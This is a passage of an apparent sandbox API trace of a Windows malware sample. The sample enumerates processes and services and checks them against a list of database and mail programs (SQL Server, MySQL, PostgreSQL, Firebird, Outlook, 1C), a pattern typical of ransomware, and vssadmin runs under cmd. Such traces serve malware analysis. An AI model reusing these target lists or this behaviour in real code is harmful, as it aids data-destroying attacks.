th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.990] lstrlenW (lpString="smss.exe") returned 8 [0040.990] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.990] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.990] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.990] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.990] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.990] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.990] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.990] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.990] lstrlenW (lpString="csrss.exe") returned 9 [0040.991] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.991] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.991] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.991] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.991] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.991] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.991] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.991] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.991] lstrlenW (lpString="wininit.exe") returned 11 [0040.991] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.991] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.991] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.991] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0040.991] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0040.991] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0040.991] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0040.991] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.991] lstrlenW (lpString="csrss.exe") returned 9 [0040.991] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.992] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.992] lstrlenW (lpString="winlogon.exe") returned 12 [0040.992] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.992] lstrlenW (lpString="services.exe") returned 12 [0040.992] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.992] lstrlenW (lpString="lsass.exe") returned 9 [0040.992] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.993] lstrlenW (lpString="lsm.exe") returned 7 [0040.993] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.993] lstrlenW (lpString="svchost.exe") returned 11 [0040.993] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.993] lstrlenW (lpString="svchost.exe") returned 11 [0040.993] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.994] lstrlenW (lpString="svchost.exe") returned 11 [0040.994] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.994] lstrlenW (lpString="svchost.exe") returned 11 [0040.994] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.994] lstrlenW (lpString="svchost.exe") returned 11 [0040.994] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.994] lstrlenW (lpString="audiodg.exe") returned 11 [0040.994] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.995] lstrlenW (lpString="svchost.exe") returned 11 [0040.995] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.995] lstrlenW (lpString="svchost.exe") returned 11 [0040.995] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.995] lstrlenW (lpString="dwm.exe") returned 7 [0040.995] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.995] lstrlenW (lpString="explorer.exe") returned 12 [0040.996] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.996] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.996] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.996] lstrlenW (lpString="taskhost.exe") returned 12 [0040.996] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.996] lstrlenW (lpString="svchost.exe") returned 11 [0040.996] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.997] lstrlenW (lpString="taskeng.exe") returned 11 [0040.997] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.997] lstrlenW (lpString="taskhost.exe") returned 12 [0040.997] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0040.997] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0040.997] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0040.997] lstrlenW (lpString="noticed.exe") returned 11 [0040.997] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0040.998] lstrlenW (lpString="uploaded.exe") returned 12 [0040.998] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0040.998] lstrlenW (lpString="hardware.exe") returned 12 [0040.998] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0040.998] lstrlenW (lpString="oracle.exe") returned 10 [0040.998] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0040.999] lstrlenW (lpString="creativity.exe") returned 14 [0040.999] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0040.999] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0040.999] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0040.999] lstrlenW (lpString="edited.exe") returned 10 [0040.999] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0040.999] lstrlenW (lpString="custody.exe") returned 11 [0040.999] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0041.000] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0041.000] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0041.000] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0041.000] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0041.000] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0041.000] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0041.000] lstrlenW (lpString="radius.exe") returned 10 [0041.001] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0041.001] lstrlenW (lpString="extensions.exe") returned 14 [0041.001] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0041.001] lstrlenW (lpString="desperate.exe") returned 13 [0041.001] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0041.001] lstrlenW (lpString="professor-mo.exe") returned 16 [0041.001] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0041.002] lstrlenW (lpString="guidance.exe") returned 12 [0041.002] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0041.002] lstrlenW (lpString="week.exe") returned 8 [0041.002] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0041.002] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0041.002] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0041.003] lstrlenW (lpString="sn featured.exe") returned 15 [0041.003] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0041.003] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0041.003] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0041.003] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0041.003] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.003] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.003] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0041.004] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0041.004] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0041.004] lstrlenW (lpString="mobsync.exe") returned 11 [0041.004] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.004] lstrlenW (lpString="cmd.exe") returned 7 [0041.004] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.004] lstrlenW (lpString="conhost.exe") returned 11 [0041.004] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0041.005] lstrlenW (lpString="vssadmin.exe") returned 12 [0041.005] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0041.005] CloseHandle (hObject=0x398) returned 1 [0041.005] Sleep (dwMilliseconds=0x1f4) [0041.827] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297c48 [0041.828] EnumServicesStatusExW (in: hSCManager=0x3297c48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0041.829] GetLastError () returned 0xea [0041.829] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x123e) returned 0x329eab0 [0041.829] EnumServicesStatusExW (in: hSCManager=0x3297c48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x329eab0, cbBufSize=0x123e, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x329eab0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0041.829] CloseServiceHandle (hSCObject=0x3297c48) returned 1 [0041.830] lstrlenW (lpString="Appinfo") returned 7 [0041.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.830] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.830] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.830] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.830] lstrlenW (lpString="AudioSrv") returned 8 [0041.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.830] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.830] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.830] lstrlenW (lpString="BFE") returned 3 [0041.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.830] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.830] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.830] lstrlenW (lpString="CryptSvc") returned 8 [0041.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.830] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.830] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.831] lstrlenW (lpString="CscService") returned 10 [0041.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.831] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.831] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.831] lstrlenW (lpString="DcomLaunch") returned 10 [0041.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.831] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.831] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.831] lstrlenW (lpString="Dhcp") returned 4 [0041.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.831] lstrlenW (lpString="Dnscache") returned 8 [0041.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.831] lstrlenW (lpString="DPS") returned 3 [0041.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 